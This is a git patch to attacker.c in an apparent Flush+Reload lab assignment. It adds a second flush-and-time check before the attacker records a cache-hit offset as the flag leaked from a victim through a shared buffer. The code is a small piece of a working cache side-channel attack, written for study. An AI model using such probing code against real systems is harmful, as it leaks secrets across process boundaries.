From fb2a2ba698c32119b22fccc1825324399c4c8223 Mon Sep 17 00:00:00 2001 From: ClF3 Date: Tue, 5 Nov 2024 09:55:32 +0800 Subject: [PATCH] part2 ver 0.6.0 double check --- Part2-FlushReload/attacker.c | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/Part2-FlushReload/attacker.c b/Part2-FlushReload/attacker.c index b575370..4fbcc2f 100644 --- a/Part2-FlushReload/attacker.c +++ b/Part2-FlushReload/attacker.c @@ -18,6 +18,7 @@ int main() { int index = -1; int flag = -1; CYCLES time = -1; + CYCLES new_time = -1; int offset = 0; int new_offset = 0; // buf is shared between the attacker and the victim @@ -38,9 +39,14 @@ int main() { } time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128); if(time < CACHE_HIT_THRESHOLD) { - flag = offset; - index = i; - break; + clflush((ADDR_PTR)buf + offset * 128); + for(int i = 0; i < WAIT_TIME; i++); + new_time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128); + if(new_time < CACHE_HIT_THRESHOLD) { + flag = offset; + index = i; + break; + } } } printf("Flag: %d\n", flag);